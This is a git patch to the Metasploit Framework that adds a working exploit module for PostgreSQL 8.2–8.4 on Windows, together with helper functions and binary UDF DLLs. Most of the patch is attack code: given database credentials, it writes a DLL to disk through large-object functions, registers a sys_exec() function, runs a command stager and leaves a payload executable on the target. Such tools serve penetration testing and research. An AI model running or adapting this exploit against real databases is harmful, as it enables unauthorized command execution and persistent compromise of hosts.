From b1178686cf1cbfc49392ccdc7ef2146aef8853d3 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 23 Mar 2011 19:36:07 +0000 Subject: [PATCH] Fixes #3988. Adds a command execution module for PostgreSQL by uploading a UDF library and adding sys_exec() as a temporary function. Requires the target to be Windows, uses Bernardo Damele A. G.'s binaries. Also fixes a typo in the arguments to handler which clears up a heretofore mysterious exception (see exploit.rb). git-svn-id: file:///home/svn/framework3/trunk@12111 4d416f70-5f16-0410-b530-b9f4589650da --- .../postgres/8.2/lib_postgresqludf_sys.dll | Bin 0 -> 6656 bytes .../postgres/8.3/lib_postgresqludf_sys.dll | Bin 0 -> 6656 bytes .../postgres/8.4/lib_postgresqludf_sys.dll | Bin 0 -> 6656 bytes lib/msf/core/exploit.rb | 2 +- lib/msf/core/exploit/postgres.rb | 83 ++++++++++ .../windows/postgres/postgres_payload.rb | 147 ++++++++++++++++++ 6 files changed, 231 insertions(+), 1 deletion(-) create mode 100755 data/exploits/postgres/8.2/lib_postgresqludf_sys.dll create mode 100755 data/exploits/postgres/8.3/lib_postgresqludf_sys.dll create mode 100755 data/exploits/postgres/8.4/lib_postgresqludf_sys.dll create mode 100644 modules/exploits/windows/postgres/postgres_payload.rb diff --git a/data/exploits/postgres/8.2/lib_postgresqludf_sys.dll b/data/exploits/postgres/8.2/lib_postgresqludf_sys.dll new file mode 100755 index 0000000000000000000000000000000000000000..342d45a081ecf471591b59376d18d62ff454fdc7 GIT binary patch literal 6656 zcmeHLdstIfwm*502T4f42+;%y7{v#MKu|$IgMdOs2m}HM8bWe_Kwc&%JT4;9Ku3(J zIGtMC+K$@kV;rscs4rAr7Rrn`)>;~k6tvpn0D`s!EZ~`)_^9^w>v!)z_mBI{{=VN? zd#%0J+I#J@&)Ivgwd?9390Wml02GCw(||gQ$o2gF#|UWl@H^`PogjDlpT;D0`KK4D zj9k4zS7?xHxC*&et3$Z?FxOzxa#dPxT#AIN(J5g*jpojK>RN*TKF|lQL!M!l?@VMm z;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KC78J#yI~S~fTHFfFm>$t=E;dt<`(QyFsK#A(LNb?v+Au_ z^J%<=WIl&C_uH50*Yz!>QKqK3+xF&$RirZbLSL5H~h zTRbLMR}@yzHMakj^)ot%1G*nZ(H476LYPsE7iFP8)xE(4RTdMs+LS-LI$M|_vXYrUm%jd2^%P+Katnf3LO+OQf42W0+mjLx2I7Fh1DKxW@Jwzm zRR#TtoB|B&b*Nn6AqGZwo;X0+F%T3bH5g!ZfvSRAu2yLb(SAm~W|2Ww1goWnK($h) z*BZ16Bv7VRFOnM6{L)}QE?8WY3fO>%VZ8yY5z&6Z{2;%@3@Vo!h3Jh2WQ9hd{U1gX zJn;jb23Tg)E0GFE94=^4dU&l7^a9I;dSxkC7z<&;bLETbgmU0&U#ybhQdq@R*{{)l zQo{;OskQ{x`*DrRSeXnqfZP;Pl>zo!95w%W?3bON$A7`%zx5t9|D~};&3~TslR1#X zI#?rzHL_>9L_L!ru}|mvkA9xb{tDoLfb_Zc6)f7XOsNrs_;EE-HDFSnJq5lvE+U8@ zm!9FrEqylk5&R&2NN`X{2tVA=lf95THCf4CssnDy1w5uE+qh zVt;4~S$Kh0r0$6WY2ukfjl2T2Ver&24HXRJ*6K!rAZ0tD-)6hA^iB{WGF=>j!OqqCReE- zoz{R9>R|&PE{B0%vQ{d0Y>4y~V60$sX5V$i%H_ZU{G^`luz<`yiO+ek8WbIbIw zJ(9vfbWezVND%R9-I`wm{;PloRci+>gE5W)cmlco|2OOmasiYD&5`_|cs&=)cK&gRCrC^p`6#j_>d}}Y;D8QGghoy4p#VGcBhqL3x d?qk1sZfdVtgA}2Z=)@(-OYAxPtNqms{1^J07+3%R literal 0 HcmV?d00001 diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 1fcc8b03db..32c387f47f 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1165,7 +1165,7 @@ class Exploit < Msf::Module def handler(*args) return if not payload_instance return if not handler_enabled? - return payload_instance.handler(*args) + return payload_instance.handler(args) end ## diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index 4348b06482..22ec2abfe6 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -264,5 +264,88 @@ module Exploit::Remote::Postgres end end + # Creates the function sys_exec() in the pg_temp schema. + def postgres_create_sys_exec(dll) + q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language C returns null on null input immutable" + resp = postgres_query(q); + if resp[:sql_error] + print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}" + return false + end + return true + end + + def dll_fname(version) + File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll") + end + + # This presumes the pg_temp.sys_exec() udf has been installed, almost + # certainly by postgres_create_sys_exec() + def postgres_sys_exec(cmd) + q = "select pg_temp.sys_exec('#{cmd}')" + resp = postgres_query(q) + if resp[:sql_error] + print_error resp[:sql_error] + return false + end + return true + end + + # Takes a local filename and uploads it into a table as a Base64 encoded string. + # Returns an array if successful, false if not. + def postgres_upload_binary_file(fname) + data = postgres_base64_file(fname) + tbl,fld = postgres_create_stager_table + return false unless data && tbl && fld + q = "insert into #{tbl}(#{fld}) values('#{data}')" + resp = postgres_query(q) + if resp[:sql_error] + print_error resp[:sql_error] + return false + end + oid, fout = postgres_write_data_to_disk(tbl,fld) + return false unless oid && fout + return [tbl,fld,fout,oid] + end + + # Writes b64 data from a table field, decoded, to disk. + def postgres_write_data_to_disk(tbl,fld) + oid = rand(60000) + 1000 + fname = Rex::Text::rand_text_alpha(8) + ".dll" + queries = [ + "select lo_create(#{oid})", + "update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}", + "select lo_export(#{oid}, '#{fname}')" + ] + queries.each do |q| + resp = postgres_query(q) + if resp && resp[:sql_error] + print_error "Could not write the library to disk." + print_error resp[:sql_error] + break + end + end + return oid,fname + end + + # Base64's a file and returns the data. + def postgres_base64_file(fname) + data = File.open(fname, "rb") {|f| f.read f.stat.size} + [data].pack("m*").gsub(/\r?\n/,"") + end + + # Creates a temporary table to store base64'ed binary data in. + def postgres_create_stager_table + tbl = Rex::Text.rand_text_alpha(8).downcase + fld = Rex::Text.rand_text_alpha(8).downcase + resp = postgres_query("create temporary table #{tbl}(#{fld} text)") + if resp[:sql_error] + print_error resp[:sql_error] + return false + end + return [tbl,fld] + end + + end end diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb new file mode 100644 index 0000000000..e50ee68e67 --- /dev/null +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -0,0 +1,147 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Postgres + include Msf::Exploit::CmdStagerVBS + + # Creates an instance of this module. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PostgreSQL for Microsoft Windows Payload Execution', + 'Description' => %q{ + This module creates and enables a custom UDF (user defined function) on the + target host via the UPDATE pg_largeobject method of binary injection. On + default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres + service account may write to the Windows temp directory, and may source + UDF DLL's from there as well. + + PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are + valid targets for this module. + + NOTE: This module will leave a payload executable on the target system when the + attack is finished, as well as the UDF DLL and the OID. + }, + 'Author' => + [ + 'Bernardo Damele A. G. ', # the postgresql udf libraries + 'todb' # this Metasploit module + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', + 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL + ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ], # Confirmed on XXX + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper. + )) + register_options( + [ + OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]) + ]) + + deregister_options('SQL', 'RETURN_ROWSET') + end + + # Buncha stuff to make typing easier. + def username; datastore['USERNAME']; end + def password; datastore['PASSWORD']; end + def database; datastore['DATABASE']; end + def verbose; datastore['VERBOSE']; end + def rhost; datastore['RHOST']; end + def rport; datastore['RPORT']; end + + def execute_command(cmd, opts) + postgres_sys_exec(cmd) + end + + def exploit + version = get_version(username,password,database,verbose) + case version + when :nocompat; print_error "Authentication successful, but not a compatable version." + when :noauth; print_error "Authentication failed." + when :noconn; print_error "Connection failed." + end + return unless version =~ /8\.[234]/ + print_status "Authentication successful and vulnerable version #{version} on Windows confirmed." + tbl,fld,dll,oid = postgres_upload_binary_file(dll_fname(version)) + unless tbl && fld && dll && oid + print_error "Could not upload the UDF DLL" + return + end + print_status "Uploaded #{dll} as OID #{oid} to table #{tbl}(#{fld})" + ret_sys_exec = postgres_create_sys_exec(dll) + if ret_sys_exec + if @postgres_conn + execute_cmdstager({:linemax => 1500, :nodelete => true}) + handler + postgres_logout if @postgres_conn + else + print_error "Lost connection." + return + end + end + postgres_logout if @postgres_conn + end + + def dll_fname(version) + File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll") + end + + # A shorter version of do_fingerprint from the postgres_version scanner + # module, specifically looking for versions that valid targets for this + # module. + def get_version(user=nil,pass=nil,database=nil,verbose=false) + begin + msg = "#{rhost}:#{rport} Postgres -" + password = pass || postgres_password + print_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") if verbose + result = postgres_fingerprint( + :db => database, + :username => user, + :password => password + ) + if result[:auth] + # So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4 + # This also checks to see if it was compiled with a windows-based compiler -- + # the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw) + # Also, the method to write files to disk doesn't appear to work on 9.0, so + # tabling that version for now. + if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C++|mingw|cygwin)/i + return $1 + else + print_status "Found #{result[:auth]}" + return :nocompat + end + else + return :noauth + end + rescue Rex::ConnectionError + print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE'] + return :noconn + end + end + +end +